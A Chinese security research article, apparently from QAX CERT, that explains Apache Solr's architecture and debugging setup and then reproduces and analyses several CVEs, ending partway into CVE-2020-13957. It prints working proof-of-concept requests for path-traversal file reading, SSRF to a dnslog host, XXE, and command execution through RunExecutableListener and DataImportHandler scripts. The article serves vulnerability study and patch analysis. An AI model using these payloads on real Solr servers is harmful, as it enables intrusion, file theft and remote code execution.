作者:Skay @ QAX CERT
原文鏈接:https://mp.weixin.qq.com/s/3WuWUGO61gM0dBpwqTfenQ

前言

Apache Solr是一個開源搜索服務引擎,近年來產生過多個高危漏洞。本文從Solr核心概念、源碼、近五年歷史漏洞、攻擊面概述、廠商防御繞過多個角度力求全面分析Apache Solr組件。

一、組件概述

1.關鍵詞

企業級全文檢索服務器、基于Lucene

2.一些名詞

(1) 數據

結構化數據,與非結構化數據

結構化數據: 用表、字段表示的數據 數據庫適合結構化數據的精確查詢

半結構化數據:xml 、html

非結構化數據: 文本、文檔、圖片、音頻、視頻等

(2)Document

被索引的對象,索引、搜索的基本單元,一個Document由多個字段Field構成 Field、字段名name、字段值value
字段類型type FieldType(這個fieldtype也有很多屬性主要兩個是name 以及 class 用來存放該類型值的類名),Field中包含分析器(Analyzer)、過濾器(Filter)

(3) 索引

對列值創建排序存儲,數據結構={列值、行地址} ,Luncene或者說Solr的索引的創建過程其實就是分詞、存儲到反向索引中

輸入的是蒼老師,想要得到標題或內容中包含“蒼老師”的新聞列表

圖片

圖片

(4) 搜索引擎

區別于關系數據庫搜索引擎專門解決大量結構化、半結構化數據、非結構化文本類數據的實時檢索問題。 這種類型的搜索實時搜索數據庫做不了。

(5) 搜索引擎工作原理

1、從數據源加載數據,分詞、建立反向索引

2、搜索時,對搜索輸入進行分詞,查找反向索引

3、計算相關性,排序,輸出

(5) zookeeper

zk是分布式系統中的一項協調服務。solr將zk用于三個關鍵操作:

1、集中化配置存儲和分發

2、檢測和提醒集群的狀態改變

3、確定分片代表

(7) Lucene

一套可對大量結構化、半結構化數據、非結構化文本類數據進行實時搜索的專門軟件。最早應用于信息檢索領域,經谷歌、百度等公司推出網頁搜索而為大眾廣知。后又被各大電商網站采用來做網站的商品搜索。現廣泛應用于各行業、互聯網應用。

核心構成:數據源(存儲的數據)、分詞器(英文比較容易,中文兩個常用的 IKAnalyzer、mmseg4j主謂賓等)、反向索引(倒排索引)、相關性計算模型(例如 出現次數這個算簡單的,復雜點的 可能就會加上權重,搜索引擎會提供一種或者多種)

(8) Solr中的Core

運行在Solr服務器中的具體唯一命名的、可管理、可配置的索引,一臺Solr可以托管一個或多個索引。solr的內核是運行在solr服務器中具有唯一命名的、可管理和可配置的索引。一臺solr服務器可以托管一個或多個內核。內核的典型用途是區分不同模式(具有不同字段、不同的處理方式)的文檔

內核就是索引,為什么需要多個?因為不同的文檔擁有不同的模式(字段構成、索引、存儲方式),商品數據和新聞數據就是兩類完全不同的數據,這就需要兩個內核來索引、存儲它們。

每個內核都有一個 內核實例存放目錄、內核索引數據存放目錄、內核配置文件(solrconfig.xml)、內核模式文件(schema.xml)

圖片

(9) Solr中的schema

包含整個架構以及字段和字段類型。用來告訴solr,被索引的文檔由哪些Field組成。讓solr知道集合/內核包含哪些字段、字段的數據類型、字段該索引存儲。

conf/managed-schema 或者 schema.xml

(10) solrconfig.xml

此文件包含與請求處理和響應格式相關的定義和特定于核心的配置,以及索引,配置,管理內存和進行提交。內核配置文件,這個是影響Solr本身參數最多的配置文件。索引數據的存放位置,更新,刪除,查詢的一些規則配置

(11) collection 集合

一個集合由一個或多個核心(分片)組成,SolrCloud引入了集合的概念,集合將索引擴展成不同的分片然后分配到多臺服務器,分布式索引的每個分片都被托管在一個solr的內核中(一個內核對應一個分片唄)。提起SolrCloud,更應該從分片的角度,不應該談及內核。

(12) Solr.xml

它是$ SOLR_HOME目錄中包含Solr Cloud相關信息的文件。 要加載核心,Solr會引用此文件,這有助于識別它們。solr.xml 文件定義了適用于全部或多個內核的全局配置選項

(13) core.properties

代表一個核心,為每個核心定義特定的屬性,例如其名稱、核心所屬的集合、模式的位置以及其他參數

(14) Solr配置集 configset

用于實現多個不同內核之間的配置共享

(15) requestHandler(solrconfig.xml)

請求處理程序,定義了solr接收到請求后該做什么操作。

Solr中處理外部數據都是通過http請求,對外提供http服務,每類服務在solr中都有對應的request handler接收處理數據,solr中有定義了很多內置的請求處理程序,但是我們也可以自己定義,在conf/solrconfig.xml中配置

在 conf/solrconfig.xml中,requestHandler的配置就像我們在web.xml中配置servlet-mapping(或spring mvc 中配置controller 的requestMap)一樣:配置該集合/內核下某個請求地址的處理類
示例 '${dataimporter.last_index_time}'">

(16) Solr中的 文檔、字段、字段分析、模式、分析器、標記器、過濾器

參閱中文文檔

https://www.w3cschool.cn/solr_doc/solr_doc-2yce2g4s.html

https://www.w3cschool.cn/solr_doc/solr_doc-5ocy2gay.html

3.幾個重要配置文件的詳解

1.Solr.xml

在獨立模式下,solr.xml必須駐留在solr_home(server/solr)。在SolrCloud模式下,將從ZooKeeper加載solr.xml(如果它存在),回退到solr_home。

solr.xml 文件定義了適用于全部或多個內核的全局配置選項。

圖片

< solr >標簽是根元素

  • adminHandler 屬性,solr默認使用org.apache.solr.handler.admin.CoreAdminHandler
  • collectionsHandler 自定義CollectingHandler的實現
  • infoHandler 自定義infoHandler實現
  • coreLoader 指定分配給此內核的線程數
  • coreRootDirectory 指定$SOLR_HOME
  • sharedLib 所有內核共享公共庫目錄 此目錄任何jar文件都將被添加到Solr插件的搜索路徑中
  • shareSchema 此屬性為true的情況下,共享IndexSchema對象
  • configSetBaseDir 指定configSets目錄 默認為$SOLR_HOME/configsets

< solrcloud > 定義了與SolrCloud相關的參數

  • distribUpdateConnTimeout 設置集群的connTimeout
  • distribUpdateSoTimeout 設置集群的socketTime'out
  • host 設置訪問主機名稱
  • hostContext url上下文路徑
  • hostPort 端口
  • zkClientTimeout 連接到ZookKeeper服務器的超時時間

< logging >

  • class 屬性 用于記錄的class類,相應的jar必須存在
  • enable 是否啟用日志功能

< shardHandlerFactory >分片相關

< metrics > 報告相關

2.core.properties

簡單的key=value,可以這么理解,一個core.properties 就代表一個core,允許即時創建,而不用重啟Solr,配置文件包含以下屬性:

  • name core的名稱
  • config core的配置文件名稱 默認為solrconfig.xml
  • schema 核心架構文件名稱 默認為schema.xml
  • dataDir core的數據目錄 可以是據對路徑 也可以是相對于instanceDir的路徑
  • configSet configset可用于配置內核
  • properties 這個core的文件名稱 可以是絕對路徑也可以是相對路徑
  • loadOnstartup true Solr啟動時,會加載這個核心
  • ulogDir 日志的路徑
  • collection 是SolrCloud的一部分

3.Schema.xml

4.Solrconfig.xml

這個文件可以說,在功能上包含了一個core處理的全部配置信息

  • < luceneMatchVersion > 指定Luncene版本
  • < dataDir > core的data目錄 存放當前core的idnex索引文件和tlog事務日志文件
  • < directoryFactory > 索引存儲工廠 配置了一些存儲時的參數 線程等
  • < codeFactory > 編解碼方式
  • < indexConfig > 配置索引屬性,主要與Luncene創建索引的一些參數,文檔字段最大長度、生成索引時INdexWriter可使用最大線程數、Luncene是否允許文件整合、buffer大小、指定Lucene使用哪個LockFactory等
  • < updateHander > 更新處理器 更新增加Document時的update對應什么處理動作在這里配置,在這里也可以自定義更新處理器
  • 以及查詢的相關配置
  • < requestDispatcher > 請求轉發器 自定義增加在這里配置
  • < requestParses > 請求解析器 配置solr的請求解析行為
  • < requestHandler > 請求處理器 solr通過requestHandler提供webservice功能,通過http請求對索引進行訪問 可以自定義增加,在這里配置

4.概述

建立在Lucene-core之上,Luncene是一個全文檢索的工具包,它不是一個完整的引擎,Solr將它打包成了一個完整的引擎服務,并對外開放基于http請求的服務以及各種API,還有一個后臺管理界面。所以,它既然是基于Luncene的,所以他的核心功能邏輯就應該和Luncene一樣,給它一個Docunment,Solr進行分詞以及查找反向索引,然后排序輸出。

Solr 的基本前提很簡單。您給它很多的信息,然后你可以問它的問題,找到你想要的信息。您在所有信息中提供的內容稱為索引或更新。當你問一個問題時,它被稱為查詢。

在一些大型門戶網站、電子商務網站等都需要站內搜索功能,使用傳統的數據庫查詢方式實現搜索無法滿足一些高級的搜索需求,比如:搜索速度要快、搜索結果按相關度排序、搜索內容格式不固定等,這里就需要使用全文檢索技術實現搜索功能。

Apache Solr 是一個開源的搜索服務器。Solr 使用 Java 語言開發,主要基于 HTTP 和 Apache Lucene 實現。Lucene 是一個全文檢索引擎工具包,它是一個 jar 包,不能獨立運行,對外提供服務。Apache Solr 中存儲的資源是以 Document 為對象進行存儲的。NoSQL特性和豐富的文檔處理(例如Word和PDF文件)。每個文檔由一系列的 Field 構成,每個 Field 表示資源的一個屬性。Solr 中的每個 Document 需要有能唯一標識其自身的屬性,默認情況下這個屬性的名字是 id,在 Schema 配置文件中使用:< uniqueKey >id< /uniqueKey >進行描述。Solr是一個獨立的企業級搜索應用服務器,目前很多企業運用solr開源服務。原理大致是文檔通過Http利用XML加到一個搜索集合中。

Solr可以獨立運行,打包成一個war。運行在Jetty、Tomcat等這些Servlet容器中,Solr索引的實現方法很簡單,用 POST 方法向Solr服務器 發送一個描述Field 及其內容的XML文檔,Solr根據xml文檔添加、刪除、更新索引。Solr搜索只需要發送HTTP GET 請求,然后對 Solr 返回Xml、Json等格式的查詢結果進行解析,組織頁面布局。Solr不提供構建UI的功能,Solr提供了一個管理界面,通過管理界面可以查詢Solr的配置和運行情況。

中文文檔:https://www.w3cschool.cn/solr_doc/solr_doc-mz9a2frh.html

3.使用范圍及行業分布

  • 業界兩個最流行的開源搜索引擎,Solr和ElasticSearch。Solr是Apache下的一個頂級開源項目。不少互聯網巨頭,如Netflix,eBay,Instagram和Amazon(CloudSearch)均使用Solr。
  • fofa搜索公網資產 一萬 app="APACHE-Solr"
  • GitHub Star數量 3.8k

4.重點產品特性

默認全局未授權,多部署于內網,內置zk服務

不可自動升級,需要手動升級修復漏洞

二、環境搭建、動態調試

Solr 所有版本下載地址 http://archive.apache.org/dist/lucene/solr/

1.sorl-4.2.0 環境搭建

1.1 環境搭建

下載solr-4.2.0.zip文件,解壓,C:\Solr\solr-4.2.0\example\start.jar 啟動

java -Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y -jar start.jar

圖片

1.2 動態調試

新建idea項目

圖片

講solr目錄下所有jar包導入 lib目錄下 add as library

配置遠程調試

圖片

斷點成功停住

圖片

當然也可以下載solr源碼,idea直接打開,配置Remote,遠程調試,看源碼總是正規的嘛

圖片

2.Solr較高版本

2.1 環境搭建

大體同上,只不過啟動時,沒有了start.jar 改為bin目錄下的solr.bat

./solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr"
solr.cmd start -p 8983 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr"

PS:這里注意一點,需要jdk8及以上 以及 solr.cmd -f -e dih 加載example 然后solr stop -p 8983 再啟動,加上 -s "C:\Solr\solr-6.4.0\example\example-DIH\solr" 要不然漏洞復現不出來。

solr.cmd -f -a "-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=10010" -port 8983 -s "C:\Solr\solr-8.6.3\example\example-DIH\solr"

圖片

2.2 動態調試

下載源碼,配置Remote即可

圖片

2.3 PS Cloud模式下的 debug

圖片

solr.cmd -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010" -p 8983
solr.cmd -c -f -a "-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=10010" -p 8983
調試solr的啟動過程
java -Xdebug -Xrunjdwp:transport=dt_socket,address=10010,server=y,suspend=y -jar start.jar --module=http

創建一個新的核心

圖片

在此感謝Whippet師傅!

三、源碼分析

1.Apache Solr架構

圖片

(1) Request Handler

Solr 用來處理http請求處理程序的模塊,無論是api又或者是web前臺的,這也是我們漏洞挖掘時需要主要關注的部分

(2) Search Component

Solr的搜索組件,提供搜索功能服務。

(3) Query Parser

Solr查詢解析器解析我們傳遞給Solr的查詢,并驗證查詢是否存在語法錯誤。 解析查詢后,它會將它們轉換為Lucene理解的格式。

(4) Response Writer

Solr處理響應的功能模塊,是為用戶查詢生成格式化輸出的組件。Solr支持XML,JSON,CSV等響應格式。對于每種類型的響應,都有不同的響應編寫器。

(5) Analyzer / tokenizer

Lucene以令牌的形式識別數據。 Apache Solr分析內容,將其劃分為令牌,并將這些令牌傳遞給Lucene。Apache Solr中的分析器檢查字段文本并生成令牌流。標記生成器將分析器準備的標記流分解為標記。

(6) Update Request Processor

每當我們向Apache Solr發送更新請求時,請求都通過一組插件(簽名,日志記錄,索引)運行,統稱為 更新請求處理器 。此處理器負責修改,例如刪除字段,添加字段等

2.目錄結構

1.運行目錄結構

├─bin大量的Solr控制臺管理工具存在該目錄下

├─contrib包含大量關于Solr的擴展

│? ├─analysis-extras該目錄下面包含一些相互依賴的文本分析組件

│? ├─clustering該目錄下有一個用于集群檢索結果的引擎

│? ├─dataimporthandlerDIH組件,該組件可以從數據庫或者其他數據源導入數據到Solr中

│? ├─dataimporthandler-extras包含了對DIH的擴展

│? ├─extraction集成Apache Tika,用于從普通格式文件中提取文本

│? ├─jaegertracer-configurator

│? ├─langid該組件使得Solr擁有在建索引之前識別和檢測文檔語言的能力

│? ├─ltr

│? ├─prometheus-exporter

│? └─velocity包含一個基于Velocity模板語言簡單檢索UI框架

├─distSolr的核心JAR包和擴展JAR包。當我們試圖把Solr嵌入到某個應用程序的時候會用到核心JAR包。

│? ├─solrj-lib包含構建基于Solr的客戶端時會用到的JAR包

│? └─test-framework包含測試Solr時候會用到的JAR包

├─docsSolr文檔

├─exampleSolr的簡單示例

│? ├─cloud

│? ├─example-DIH

│? ├─exampledocs

│? ├─files

│? └─films

├─licenses各種許可和協議

└─server本地把Solr作為服務運行的必要文件都存放在這里

├─contexts啟動Solr的Jetty網頁的上下文配置

├─etcJetty服務器配置文件,在這里可以把默認的8983端口改成其他的

├─libJetty服務器程序對應的可執行JAR包和響應的依賴包

│? └─ext

├─logs日志將被輸出到這個文件夾

├─moduleshttp\https\server\ssl等配置模塊

├─resources存放著Log4j的配置文件

├─scriptsSolr運行的必要腳本

│? └─cloud-scripts

├─solr運行Solr的配置文件都保存在這里。solr.xml文件,提供全方位的配置;zoo.cfg文件,使用SolrCloud的時候有用。子文件夾/configsets存放著Solr的示例配置文件。各個生成的core也放在這里 以及configsets等

│? ├─.system_shard1_replica_n1

│? ├─aaa_shard1_replica_n1

│? ├─configsets

│? │? ├─sample_techproducts_configs

│? ├─filestore

│? ├─userfiles

│? └─zoo_data

│? ? ? └─version-2

├─solr-webapp管理界面的站點就存放在這里

│? └─webapp

│? ? ? └─WEB-INF

└─tmp存放臨時文件

├─jetty-0_0_0_0-8983-webapp-_solr-any-7904109470622189110.dir

2.Solr Home目錄結構

單例模式下

<solr-home-directory>
   solr.xml
   core_name1/
      core.properties
      conf/
         solrconfig.xml
         managed-schema
      data/
   core_name2/
      core.properties
      conf/
         solrconfig.xml
         managed-schema
      data/

colud模式下

<solr-home-directory>/
   solr.xml
   core_name1/
      core.properties
      data/
   core_name2/
      core.properties
      data/

3.源碼結構

├─binSolr控制臺管理工具存在該目錄下

├─contrib包含大量關于Solr的擴展 同安裝目錄中一樣

├─corecore的核心

│? └─src

│? ? ? ├─java.org.apache.solr

│? ? ? │? ? ? ? ? ? ? ├─analysis文本分析處理類,其中沒有很多核心實現,主要調用了lucene重點的核心功能

│? ? ? │? ? ? ? ? ? ? ├─apiSolr對外提供給的API(兩個版本)處理包

│? ? ? │? ? ? ? ? ? ? ├─client.solrj.embeddedSolr中嵌入了jetty,這里存在Jetty的配置類以及嵌入式啟動類

│? ? ? │? ? ? ? ? ? ? ├─cloudSolr在cloud模式下云的的相關處理包,包含zk相關的處理類

│? ? ? │? ? ? ? ? ? ? ├─corecore相關的處理包 solrcore solrinfo CoreDescriptor等

│? ? ? │? ? ? ? ? ? ? ├─filestore文件處理包

│? ? ? │? ? ? ? ? ? ? ├─handler請求程序處理包

│? ? ? │? ? ? ? ? ? ? │? ├─admin

│? ? ? │? ? ? ? ? ? ? │? ├─component

│? ? ? │? ? ? ? ? ? ? │? ├─export

│? ? ? │? ? ? ? ? ? ? │? ├─loader

│? ? ? │? ? ? ? ? ? ? │? ├─sql

│? ? ? │? ? ? ? ? ? ? │? └─tagger

│? ? ? │? ? ? ? ? ? ? ├─highlight solr高亮功能包

│? ? ? │? ? ? ? ? ? ? ├─index

│? ? ? │? ? ? ? ? ? ? ├─internal

│? ? ? │? ? ? ? ? ? ? ├─legacy

│? ? ? │? ? ? ? ? ? ? ├─logging日志功能處理包

│? ? ? │? ? ? ? ? ? ? ├─metrics

│? ? ? │? ? ? ? ? ? ? ├─packagemanager

│? ? ? │? ? ? ? ? ? ? ├─parser解析器包

│? ? ? │? ? ? ? ? ? ? ├─pkg

│? ? ? │? ? ? ? ? ? ? ├─query查詢功能處理

│? ? ? │? ? ? ? ? ? ? ├─request請求前置處理 SolrQueryRequestBase在這里

│? ? ? │? ? ? ? ? ? ? ├─response返回數據處理

│? ? ? │? ? ? ? ? ? ? ├─restrest功能,包含restApi處理邏輯

│? ? ? │? ? ? ? ? ? ? ├─schema模式定義

│? ? ? │? ? ? ? ? ? ? ├─searchsearch功能程序處理包

│? ? ? │? ? ? ? ? ? ? │? ├─join

│? ? ? │? ? ? ? ? ? ? │? ├─mlt

│? ? ? │? ? ? ? ? ? ? │? ├─similarities

│? ? ? │? ? ? ? ? ? ? │? └─stats

│? ? ? │? ? ? ? ? ? ? ├─security安全功能處理包

│? ? ? │? ? ? ? ? ? ? ├─servletServlet Filter Wrpper拓展處理

│? ? ? │? ? ? ? ? ? ? ├─spelling

│? ? ? │? ? ? ? ? ? ? ├─store

│? ? ? │? ? ? ? ? ? ? ├─uninverting

│? ? ? │? ? ? ? ? ? ? ├─update字段索引更新處理邏輯

│? ? ? │? ? ? ? ? ? ? └─util一些工具類

│? ? ? ├─resources

│? ? ? ├─test

│? ? ? └─test-files

├─dev-docs

├─docs

├─example 示例文件

│? ├─example-DIH

│? ├─exampledocs

│? ├─files

│? └─films

├─licenses各種許可和協議

├─server本地把Solr作為服務運行的必要文件都存放在這里

├─contexts啟動Solr的Jetty網頁的上下文配置

├─etcJetty服務器配置文件,在這里可以把默認的8983端口改成其他的

├─libJetty服務器程序對應的可執行JAR包和響應的依賴包

│? └─ext

├─logs日志將被輸出到這個文件夾

├─moduleshttp\https\server\ssl等配置模塊

├─resources存放著Log4j的配置文件

├─scriptsSolr運行的必要腳本

│? └─cloud-scripts

├─solr運行Solr的配置文件都保存在這里。solr.xml文件,提供全方位的配置;zoo.cfg文件,使用SolrCloud的時候有用。子文件夾/configsets存放著Solr的示例配置文件。各個生成的core也放在這里 以及configsets等

├─site

├─solr-ref-guide

├─solrjsolr的客戶端程序

└─webapp管理界面的站點就存放在這里

4.啟動過程

避免文章太長,放到這里了https://xz.aliyun.com/t/9247

5.源碼中核心類

避免文章太長,放到這里了https://xz.aliyun.com/t/9248

6.Apache Solr中的路由

路由就直接根據 "/" 或者 ":" 寫死了的,沒有一點兼容性,看路由無非是想看對應哪些可以訪問的handler,直接去Plugins/Stats里看就行,里面對應了每個url的處理類

圖片

調試過程中一些關鍵位置

圖片

這里的58 是冒號:

圖片

反斜杠

圖片

下面是調試過程中的一些路由列表

圖片

圖片

圖片

四、漏洞相關

1.漏洞概覽

1.1.漏洞列表

名稱 編號 危害 影響版本 備注
shards參數SSRF CVE-2017-3164 高危 1.4.0-6.4.0
任意文件讀取 CVE-2017-3163 高危 同3164
XXE&RCE CVE-2017-12629 高危 <7.1.0
XXE CVE-2018-1308 高危 1.2至6.6.2和7.0.0至7.2.1
XXE CVE-2018-8026 高危 6.6.4, 7.3.1
反序列化RCE CVE-2019-0192 高危 5.0.0 to 5.5.5 and 6.0.0 to 6.6.5
RCE CVE-2019-0193 高危 < 8.2.0
RCE CVE-2019-17558 高危 5.0.0版本至8.3.1 模板注入
任意文件上傳 CVE-2020-13957 高危 Solr 8.6.2 之前

1.2.漏洞分布與關聯

A.分布

多為擴展組件上出現漏洞

B.關聯

1.3.漏洞過去、現在、未來

2.復現及分析

2.1. CVE-2017-3163

2.1.1 復現

poc 如下

GET /solr/db/replication?command=filecontent&file=../../../../../../../../../../../../../a.txt&wt=filestream&generation=1 HTTP/1.1
Host: 192.168.33.130:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

復現截圖 圖片

2.1.2 分析

首先我們diff 下6.4.2 和6.4.0 看一下是怎么修復的

圖片

傷心,嘗試了一下繞不過去,直接是在ReplicationHandler中做了過濾,根據之前分析的Solr啟動過程的處理邏輯,再結合poc的url:/solr/db/replication,可以猜到肯定會走到ReplicationHandler的handlerequest方法,所以斷點直接下到這里就可

圖片

在沒有修復的版本里,沒有任何過濾

圖片

直接讀取了文件

修復之后,針對不同系統的文件分隔符將文件名拆分成一個迭代器,如果發現 ".."存在,就返回403

圖片

圖片

2.2 CVE-2017-3164

2.2.1 復現

GET /solr/db/replication?command=fetchindex&masterUrl=http://d9rufs.dnslog.cn/xxxx&wt=json&httpBasicAuthUser=aaa&httpBasicAuthPassword=bbb HTTP/1.1
Host: 192.168.33.130:8983
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0

圖片

2.2.2 分析

觀察poc,path沒變還是/db/replication,所以問題仍舊出在org/apache/solr/handler/ReplicationHandler.java 中,但是由于command=fetchindex,command的參數不同,所以會走到不同的處理邏輯,這里會進入最后一個

圖片

這里會開啟另一個線程,進入doFetch的處理邏輯

圖片

最終會走到觸發的地方

圖片

此時的調用棧

getLatestVersion:202, IndexFetcher (org.apache.solr.handler)
fetchLatestIndex:286, IndexFetcher (org.apache.solr.handler)
fetchLatestIndex:251, IndexFetcher (org.apache.solr.handler)
doFetch:397, ReplicationHandler (org.apache.solr.handler)
lambda$handleRequestBody$0:279, ReplicationHandler (org.apache.solr.handler)
run:-1, 939130791 (org.apache.solr.handler.ReplicationHandler$$Lambda$85)
run:-1, Thread (java.lang)

2.3CVE-2018-1308

2.3.1 復現

POC:

POST /solr/db/dataimport HTTP/1.1
Host: 192.168.170.139:8983
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
command=full-import&dataConfig=%3C%3Fxml+version%3D%221.0%22+encoding%3D%22UTF-8%22%3F%3E
%3C!DOCTYPE+root+%5B%3C!ENTITY+%25+remote+SYSTEM+%22http%3A%2F%2F127.0.0.1:7777%2Fftp_xxe.xml%22%3E%25remote%3B%5D%3E

圖片

圖片

2.3.2 分析

看請求的url就知道問題出在org.apache.solr.handler.dataimport.DataImportHandler,結合command以及dataConfig參數,很快可以定位到this.importer.maybeReloadConfiguration(requestParams, defaultParams);

圖片

跟進org.apache.solr.handler.dataimport.DataImporter#maybeReloadConfiguration方法

圖片

繼續跟進org.apache.solr.handler.dataimport.DataImporter#loadDataConfig,可以發現沒有任何關于XXE的防御處理

圖片

修復,這里直接看最新版本的修復,這里的commit同時也修復了CVE-2019-0193,補丁增加了

enable.dih.dataConfigParam(默認為false)只有啟動solr的時候加上參數-Denable.dih.dataConfigParam=true 才會被設置為true。

圖片

2.4 CVE-2017-12629

2.4.1 復現

XXE:

http://192.168.33.144:8983/solr/db/select?q=%7b%21%78%6d%6c%70%61%72%73%65%72%20%76%3d%27%3c%21%44%4f%43%54%59%50%45%20%61%20%53%59%53%54%45%4d%20"http://aaa.mryq4g.dnslog.cn"><a></a>'}&wt=xml

圖片

RCE:

POST /solr/newcollection/config HTTP/1.1
Host: localhost:8983
Connection: close
Content-Type: application/json  
Content-Length: 198
{
  "add-listener" : {
    "event":"newSearcher",
    "name":"newlistener-1",
    "class":"solr.RunExecutableListener",
    "exe":"curl",
    "dir":"/usr/bin/",
    "args":["http://127.0.0.1:8080"]
  }
}

2.4.2 分析

XXE

其實是Lucene出現的漏洞,而Solr又是Lucenne作為核心語義分析引擎,所以受此漏洞影響,具體漏洞點在org.apache.lucene.queryparser.xml.CoreParser#parseXML

圖片

可以看見沒有任何關于XMl解析XXE的防御,此時主要調用棧

parseXML:127, CoreParser (org.apache.lucene.queryparser.xml)
parse:115, CoreParser (org.apache.lucene.queryparser.xml)
parse:62, XmlQParserPlugin$XmlQParser (org.apache.solr.search)
getQuery:168, QParser (org.apache.solr.search)
prepare:160, QueryComponent (org.apache.solr.handler.component)
handleRequestBody:269, SearchHandler (org.apache.solr.handler.component)
handleRequest:166, RequestHandlerBase (org.apache.solr.handler)
execute:2306, SolrCore (org.apache.solr.core)
execute:658, HttpSolrCall (org.apache.solr.servlet)
call:464, HttpSolrCall (org.apache.solr.servlet)
doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)
doFilter:296, SolrDispatchFilter (org.apache.solr.servlet)

修復,增加了XXE的通用防御 圖片

RCE:

這個都不太想調試了,問題類方法是org.apache.solr.core.RunExecutableListener#exec

圖片

官方修復呢也是直接把這個類刪了

圖片

2.5 CVE-2018-8026

上傳configset 解析配置文件xml時造成xxe,具體分析復現移步https://xz.aliyun.com/t/2448

具體看org.apache.solr.schema.FileExchangeRateProvider修復,都換成SafeXMLParsing了

圖片

2.6 CVE-2019-0193

2.6.1 復現

圖片

POC:

<dataConfig>
  <dataSource type="URLDataSource"/>
  <script><![CDATA[
          function poc(){ java.lang.Runtime.getRuntime().exec("calc");
          }
  ]]></script>
  <document>
    <entity name="stackoverflow"
            url="https://stackoverflow.com/feeds/tag/solr"
            processor="XPathEntityProcessor"
            forEach="/feed"
            transformer="script:poc" />
  </document>
</dataConfig>

2.6.2 分析

同樣是DataImportHandler出問題

進入到Dataimport功能頁面,開啟debug,默認給出了如下xml

圖片

<dataConfig>
    <dataSource driver="org.hsqldb.jdbcDriver" url="jdbc:hsqldb:${solr.install.dir}/example/example-DIH/hsqldb/ex" user="sa" />
    <document>
        <entity name="item" query="select * from item"
                deltaQuery="select id from item where last_modified > '${dataimporter.last_index_time}'">
            <field column="NAME" name="name" />


            <entity name="feature"  
                    query="select DESCRIPTION from FEATURE where ITEM_ID='${item.ID}'"
                    deltaQuery="select ITEM_ID from FEATURE where last_modified > '${dataimporter.last_index_time}'"
                    parentDeltaQuery="select ID from item where ID=${feature.ITEM_ID}">
                <field name="features" column="DESCRIPTION" />
            </entity>

            <entity name="item_category"
                    query="select CATEGORY_ID from item_category where ITEM_ID='${item.ID}'"
                    deltaQuery="select ITEM_ID, CATEGORY_ID from item_category where last_modified > '${dataimporter.last_index_time}'"
                    parentDeltaQuery="select ID from item where ID=${item_category.ITEM_ID}">
                <entity name="category"
                        query="select DESCRIPTION from category where ID = '${item_category.CATEGORY_ID}'"
                        deltaQuery="select ID from category where last_modified > '${dataimporter.last_index_time}'"
                        parentDeltaQuery="select ITEM_ID, CATEGORY_ID from item_category where CATEGORY_ID=${category.ID}">
                    <field column="DESCRIPTION" name="cat" />
                </entity>
            </entity>
        </entity>
    </document>
</dataConfig>

entity?標簽中支持執行script,且支持jndi,也就是漏洞觸發的地方,具體dataimport支持的功能參閱官方文檔https://solr.apache.org/guide/8_6/uploading-structured-data-store-data-with-the-data-import-handler.html 圖片

補丁增加了

enable.dih.dataConfigParam(默認為false)只有啟動solr的時候加上參數-Denable.dih.dataConfigParam=true 才會被設置為true。利用失敗如下

圖片

2.7 CVE-2019-0192

2.7.1 復現

https://github.com/mpgn/CVE-2019-0192/

2.7.2 分析

Solr支持動態的更新配置,但是更新的并不是Solrconfig.xml 而是configoverlay.json

官方文檔參考如下

Config API可以使用類似REST的API調用來處理您的solrconfig.xml的各個方面。 此功能默認啟用,并且在SolrCloud和獨立模式下的工作方式類似。許多通常編輯的屬性(如緩存大小和提交設置)和請求處理程序定義可以使用此API進行更改。 使用此API時,solrconfig.xml不會更改。相反,所有編輯的配置都存儲在一個名為configoverlay.json的文件中。該configoverlay.json中值覆蓋solrconfig.xml中的值。

所以加載core的時候自然會加載configoverlay.json文件,問題也出在這里,精心構造的configoverlay.json可以觸發org.apache.solr.core.SolrConfig的危險構造方法

public SolrConfig(SolrResourceLoader loader, String name, InputSource is) throws ParserConfigurationException, IOException, SAXException {......}

圖片

進而觸發org.apache.solr.core.SolrCore#initInfoRegistry

圖片

修復,新版本直接不支持jmx

圖片

2.8 CVE-2019-17558

2.8.1 復現

圖片

圖片

2.8.2 分析

Velocity模板引擎注入首先觸發的話,需要通過config api開啟模板引擎開關params.resource.loader.enabled,Solr提供給管理員方便管理的配置api,正常功能,由于Solr默認安裝為未授權,所以攻擊者可以直接配置

再看下模板命令執行,是返回內容進行模板渲染的時候發生的代碼注入

org.apache.solr.servlet.HttpSolrCall#writeResponse

圖片

org.apache.solr.response.QueryResponseWriterUtil#writeQueryResponse

圖片

最后進入到模板引擎渲染階段org.apache.solr.response.VelocityResponseWriter#write

圖片

此時部分調用炸

write:151, VelocityResponseWriter (org.apache.solr.response)
writeQueryResponse:65, QueryResponseWriterUtil (org.apache.solr.response)
writeResponse:732, HttpSolrCall (org.apache.solr.servlet)
call:473, HttpSolrCall (org.apache.solr.servlet)
doFilter:345, SolrDispatchFilter (org.apache.solr.servlet)

2.9 CVE-2020-13957

官方API參考文檔

https://lucene.apache.org/solr/guide/8_4/configsets-api.html#configsets-api

圖片

首先準備配置文件

docker cp c3:/opt/solr-8.2.0/server/solr/configsets/_default/conf ./

